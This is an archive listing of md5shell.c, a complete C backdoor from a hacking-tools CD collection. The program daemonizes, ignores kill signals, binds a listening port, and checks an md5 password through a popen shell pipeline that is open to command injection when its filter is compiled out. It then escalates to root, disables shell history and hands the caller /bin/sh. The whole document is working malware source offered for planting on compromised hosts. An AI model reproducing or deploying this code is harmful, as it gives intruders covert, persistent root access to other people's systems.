home *** CD-ROM | disk | FTP | other *** search
/ Power Hacker 2003 / Power_Hacker_2003.iso / Hacking tool / Backdoor / md5shell.c < prev    next >
C/C++ Source or Header  |  2001-04-29  |  3KB  |  112 lines

  1. /*
  2.        md5bd.c - backdoor/shell server with md5 based authentication
  3.      (c) 2000 by Mixter <mixter@newyorkoffice.com> http://1337.tsx.org
  4.  
  5.    This is a small server program that can be put on an untrusted host,
  6.    without the danger of the hard-coded password being retrieved. Another
  7.    big advantage of using md5 is that your password can be effectively as
  8.    long as you want... I'm using md5sum since every system should have it,
  9.    and since it's a stupid program and not worth of putting in md5 functions.
  10.  
  11.    To hash your password to md5, just: echo -n mypasswd | md5sum (duh!)
  12.    Usage: ./md5bd, then ./nc host port, then enter your password
  13. */
  14.  
  15. #include <stdio.h>
  16. #include <unistd.h>
  17. #include <stdlib.h>
  18. #include <strings.h>
  19. #include <netinet/in.h>
  20. #include <sys/socket.h>
  21. #include <signal.h>
  22.  
  23. /* change this to 1337 if you want it to be *really* stealthy ;/ */
  24. #define P0RT 1025
  25.  
  26. /* the default pass, "secret" */
  27. #define MDPASS "5ebe2294ecd0e0f08eab7690d2a6ee69"
  28.  
  29. /* the stupidity of perl, realized in C... */
  30. #define MDPROG "/bin/echo -n %s|/usr/bin/md5sum"
  31.  
  32. char md[36];
  33.  
  34. char *
  35. mdpass(char *plain)
  36. {
  37.     FILE *p;
  38.     char fmt[1024];
  39.  
  40.     snprintf(fmt, 1024, "/bin/echo -n %s|/usr/bin/md5sum", plain);
  41.     p = popen(fmt, "r");
  42.     memset(md, 0, 36);
  43.     fread(md, 32, 1, p);
  44.     fclose(p);
  45.     return md;
  46. }
  47.  
  48. int
  49. main(int a, char **b)
  50. {
  51.     int c, d, e = sizeof(struct sockaddr_in), f;
  52.     char p[1000];
  53.     struct sockaddr_in l, r;
  54.  
  55.     signal(SIGCHLD, SIG_IGN);
  56.     signal(SIGHUP, SIG_IGN);
  57.     signal(SIGTERM, SIG_IGN);
  58.     signal(SIGINT, SIG_IGN);
  59.     if (fork())
  60.         exit(0);
  61.     l.sin_family = AF_INET;
  62.     l.sin_port = htons(P0RT);
  63.     l.sin_addr.s_addr = INADDR_ANY;
  64.     bzero(&(l.sin_zero), 8);
  65.     c = socket(AF_INET, SOCK_STREAM, 0);
  66.     bind(c,(struct sockaddr *) &l, sizeof(struct sockaddr));
  67.  
  68.     listen(c, 3);
  69.     while ((d = accept(c, (struct sockaddr *) &r, &e)))
  70.     {
  71.         if (!fork())
  72.         {
  73.             recv(d, p, 1000, 0);
  74. #ifndef REMOTELY_EXPLOITABLE
  75.             for (f = 0; f < strlen(p); f++)
  76.                 switch (p[f])
  77.                 {
  78.                 case '|':
  79.                 case ';':
  80.                 case '&':
  81.                 case '>':
  82.                 case '`':
  83.                 case '\r':
  84.                 case '\n':
  85.                     p[f] = '\0';
  86.                     break;
  87.                 }
  88. #endif /* REMOTELY_EXPLOITABLE :P */
  89.             if (strncmp(mdpass(p), MDPASS,32) != 0)
  90.             {
  91.                 send(d, "\377\373\001", 4, 0);
  92.                 close(d);
  93.                 exit(1);
  94.             }
  95.             printf ("hi.\n");
  96.             close(0);
  97.             close(1);
  98.             close(2);
  99.             dup2(d, 0);
  100.             dup2(d, 1);
  101.             dup2(d, 2);
  102.             setreuid(0, 0);
  103.             setenv("PATH", "/sbin:/bin:/usr/sbin:/usr/bin:/usr/local/bin/:.", 1);
  104.             unsetenv("HISTFILE");
  105.             execl("/bin/sh", "sh", (char *) 0);
  106.             close(d);
  107.             exit(0);
  108.         }
  109.     }
  110.     return 0;
  111. }
  112.